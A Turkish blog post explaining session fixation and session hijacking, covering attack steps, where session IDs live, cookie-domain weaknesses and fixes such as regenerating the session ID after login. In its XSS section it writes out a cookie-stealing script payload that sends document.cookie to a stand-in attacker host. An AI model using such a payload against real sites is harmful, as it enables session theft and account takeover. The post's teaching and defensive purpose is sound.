Session Fixation (Oturum Sabitleme), Hijacking Saldırısı Nedir? [Örnekli]

Web güvenliğindeki popüler konulardan olan session fixation, session hijacking saldırısına örneklerle bir bakalım.

Meali oturum sabitleme olan session fixation nedir ?

Bir uygulamaya login olunduktan sonra id yenilenmiyorsa session fixation zafiyetinden bahsedilir. Oturum sabitleme açığından faydalanarak bir saldırgan kullanıcının/kurbanın oturumunu çalabilir, bu eyleme de session hijacking denir.

Oturum sabitleme saldırısında, saldırgan bildiği bir id ile, kullanıcının oturum açma işlemini gerçekleştirmeden önce kullanmasını sağlar ve bu sayede kurbanın, saldırgan tarafından gönderilen url ile oturuma başlamasıyla saldırgan kullanıcının oturumunu ele geçirmiş olur.

Session Hijacking için kullanılan dört ana method vardır:

  1. Session Fixation

    Aşağıda detaylıca göreceğiz.

  2. Session Sniffing

    Saldırgan bir dinleyici/izleyici yöntemiyle (örn: Wireshark ile), session id ‘ye ulaşıyor olması, bkz:


  3. XSS (Cross-Site Scripting)

    Saldırgan, zararlı JavaScript kodu ile kurbana hazırlanmış bir bağlantı gönderirse, kurban bağlantıyı tıkladığında JavaScript çalışacak ve saldırgan tarafından verilen talimatları tamamlayacaktır. Örnek olması açısından session id ekrana bastırılmıştır, tabi ki saldırgana da gönderilebilir.


    <SCRIPT>alert(document.cookie);</SCRIPT>

     

  4. Malware (Kötü Amaçlı / İstenmeyen Yazılımlar)

    Bir kullanıcının bilgisi olmadan tarayıcı cookie dosyalarını çalmak için browser hijacking yöntemini kullanabilir.

 

SESSION FIXATION

Şimdi adım adım bir bakalım

  1. Saldırgan web sunucusunda oturum açar ,
  2. Sunucu bir SID / oturum id ‘si tanımlar,
  3. Bu session ID ile saldırganın kurbana bir link göndermesi gerekir,
  4. Kurbanın gelen bu bağlantıya tıklaması ve sunucuyla bağ kurması gerekir,
  5. Sunucu oturum işleminin önceden zaten kurulduğunu görür ve yeni bir oturum kimliği oluşturma gereksinimi duymaz. (işte zafiyet burada)
  6. Böylece saldırgan oturuma erişmiş olur.

 

Bu saldırıyı en iyi anlatan görsel diyebiliriz sanırım.

URL tabanlı basit ve anlaşılır bir görsel.

 

Session Fixation Örnek Video

Daha anlaşılır olması açısından Youtube ‘da çok basit bir dakikalık bir video buldum ve sizlerle paylaşmak istedim. Bu videodaki web sitesi Session ID değerini url ‘de tuttuğu için işimiz daha da kolay oldu 🙂

 

Ee, peki çözüm ne ?

Aslında oldukça basit. Kullanıcı oturum açma işlemi gerçekleştirildikten sonra,

PHP için

session_regenerate_id();

.NET için

Session.Abandon()
Response.Cookies.Add(new HttpCookie(“ASP.NET_SessionId”, “”));

diyerek oturum id değerini yeniden oluşturabilirsiniz. Böylece saldırganın gönderdiği id yenilenmiş ve geçersiz olacaktır.

SID nerelerde barınır diye merak edenler için de aslında birçok yer: tarayıcı geçmiş log’unda, web sunucusu log’larında ya da proxy log’larında tutulur.

 

Session ID ‘ler nerede tutulur?

  1. url ‘lerde,
  2. html hidden field ‘larda (doğrudan görünmez, sayfa kaynağı üzerinden ulaşılabilir) ve
  3. cookie ‘lerde tutulur. (en yaygın olanıdır ve kullanıcının bilgisayarında saklanır)

Cookie ‘de tutulan session id ‘ler için bilinen üç yöntem vardır.

  1. XSS (client-side script) Yöntemi

    Kısaca saldırganın, kurbanın tarayıcısında komut dosyaları çalıştırmasına izin verir. Birçok tarayıcı xss ‘i destekler, bunlar genellikle JavaScript ya da VBScript olarak karşımıza çıkar. Saldırganın sadece, kurbanın çerez değerine erişebilen ve kendisine bu değeri gönderecek olan kodu yazıp, çalıştırması yeterli olacaktır.
    Bkz: document.cookie (JavaScript)
    http://www.hedefSite.com/page.jsp?n=<script>document.location= “http://www.saldirganSite.com/cookie.php?c=” + document.cookie</script>

  2. Set-Cookie niteliğiyle html meta-tag kullanımı

    <META TAG> kullanıldığında da bir kod enjeksiyonu saldırısı olarak kabul edilir, ancak XSS saldırısından farklıdır. (çok yaygın değildir.)

  3. Set-Cookie HTTP yanıt başlığının kullanımı:

    Saldırgan, kurbanın tarayıcısındaki sID ‘yi düzenlemek için http header sunucu yanıtını kullanır: set-cookie parametresini http header ‘a  dahil ederek sID değerini çereze ekleyebilir ve kurbanın tarayıcısına gönderebilir.

 

Domain / Subdomain Cookie Zafiyetleri:

badSite.domain.com

  • Saldırgan kurbana badSite.domain.com linkini gönderir ve (sosyal mühendislikle) bir şekilde tıklamasını sağlar
  • Bu siteye gelen kurbanın tarayıcısına .domain.com alan adıyla bir çerez kurulur, (bu şekilde kurulursa domain.com ‘a ait tüm alan adlarında (www.domain.com ya da other.domain.com’da da) kullanılabilir. istisnalar mevcuttur.)
  • Kurban ana domaini (www.domain.com’u) ziyaret ettiğinde, sunucuya bu çerez ile istek göndermiş olacak ve
  • Eğer kurban oturum açarsa, saldırgan kurbanın hesabını kullanabilir..

Şu cookie set domain olayı ile ilgili cookie nerde set edilirse nerede geçerli olur, nerede olmaz ? Ziyahan hocanın oluşturmuş olduğu görsel üzerinden bir bakalım:

Peki bunun önlemi nedir ?

Cookie set edilirken domain değerine dikkat edilmeli ve www. ön ekini domainlerinizde kullanmaya özen gösteriniz böylece domain alanı set edilse de edilmese de sadece www.domain.com isteklerine çerezler eklenecektir. Tabî, kıymetli gördüğünüz domainlerin altında her ihtimale karşı subdomain barındırmayınız, bunun yerine farklı bir uzantı ile bu durumu aşabilirsiniz.  demiş Ziyahan Bey.

 

Not: kısa ve öz bir şekilde konuyu ele almaya çalıştım ve bu bir profesyonel makale değildir; eklemek, çıkartmak ya da düzeltmek istediğiniz kısımlar varsa lütfen aşağıdan yorumla belirtiniz.

Faydalanılan kaynaklar:

Case Studies in Secure Computing: Achievements and Trends

https://www.owasp.org/index.php/Session_fixation

https://en.wikipedia.org/wiki/Session_fixation#A_simple_attack_scenario

Bu konunun daha kapsamlı ve Türkçe makalesini değerli hocam Ziyahan ALBENİZ’in kaleminden aşağıdaki sayfa üzerinden okuyabilirsiniz.

https://www.netsparker.com.tr/blog/web-guvenligi/HTTP-isleyisi-ve-Guvenligi-Acisindan-Cookie-ve-Session-Yonetimi/

Bir önceki yazımız olan Çözüldü/Solved -MySQL InnoDB: Error Cannot Allocate 3154744384 bytes başlıklı makalemizde 3154744384 bytes, Çözüldü ve Error Cannot Allocate hakkında bilgiler verilmektedir.

Bir Cevap Yazın